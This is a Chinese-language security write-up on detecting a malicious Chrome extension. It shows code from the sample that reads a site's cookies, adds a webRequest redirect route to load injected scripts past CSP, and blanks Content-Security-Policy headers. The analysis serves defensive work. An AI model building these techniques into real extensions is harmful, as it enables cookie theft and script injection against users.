目前笔者对于Chrome浏览器恶意插件的检测方式为行为特征结合简单的静态分析为中,如CSP对主要的应用页面的请求做拦截、告警同时检测其manfiest.json申请的权限等做简单分析。

目前CSP分析方式

工作中CSP告警主要以在线流式分析为主,同时需定义核心关注的路径: monitor 在处理CSP告警时发现一个相对有趣的点,某个插件前一日在核心路径上有大量的CSP拦截告警,同时次日告警突降问题疑似发布新版本端上“绕过”CSP策略表现较强的对抗性,辅助通过其他方式验证该插件仍然在大量正常使用,故判定该恶意Chrome需做处置、打击。 该插件存在多个恶意行为,除因工作原因不能透露外其他分别为:Cookie获取、新增跳转路由、CSP对抗

Cookie获取

chrome.cookies API可以参考Chrome Developers

1
2
3
4
5
chrome.cookies.getAll( { domain: '.baidu.com'}, function( cookie ){ 
cookie.forEach(function(c){
console.log( c.name, c.value );
});
});

跳转路由

一开始发现涉及一个跳转路由,在自身的资产中并没有发现该跳转路由,甚至以为被“入侵”,后期拿到样本后发现其利用addListener()在插件的后台页面实现跳转路由能力。 - 首先浏览器插件在manifest.json中申请{"permissions": ["webRequest"]},然后在background.js使用addListener()函数为WEB请求注册事件侦听器做特定url 307跳转实现CSP绕过。 - addListener()、请求在浏览器侧的流程及相关事件触发可以参考Chrome Developers

1
2
3
4
5
6
7
8
9
10
chrome.webRequest.onBeforeRequest.addListener(
function(details) {
if (details.url.includes("//www.baidu.com/redirect?url=")) {
console.log(details.url.split("redirect?url=")[1]);
}
return details.url.includes("//www.baidu.com/redirect?url=") ?
{redirectUrl: details.url.split("redirect?url=")[1]} : {redirectUrl:details.url}
},
{urls: ["*://www.baidu.com/*"]},
["blocking"]);
达成效果:即实现访问https://www.baidu.com/redirect?url=https://www.google.com会跳转到https://www.google.com 然后注入的脚本如
1
<script src="https://www.baidu.com/redirect?url=https://www.google.com">

CSP对抗

目前CSP主要配置方式为在nginx等中间件的header中做配置,如

1
Content-Security-Policy: script-src 'none'
该方式对于chrome extensions而言是可以通过chrome.webRequest.onHeadersReceived监听器做到随意修改的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// tabId可以通过 chrome.tabs.getAllInWindow(null, function(tabs) {} tabs[i].id获取
var attachHeaderListener = function (tabId) {
var onHeaderFilter = { urls: ['*://*/*'], tabId: tabId, types: ['main_frame', 'sub_frame'] };
chrome.webRequest.onHeadersReceived.addListener(
onHeadersReceived, onHeaderFilter, ['blocking', 'responseHeaders']
);
};

var onHeadersReceived = function (details) {
for (var i = 0; i < details.responseHeaders.length; i++) {
if (details.responseHeaders[i].name.toLowerCase() === 'content-security-policy') {
details.responseHeaders[i].value = '';
}
}

return {
responseHeaders: details.responseHeaders
};
};
CSP设置的header及策略 对于alert()违反策略应做拦截 通过chrome extension可以修改header达到关闭csp策略的目的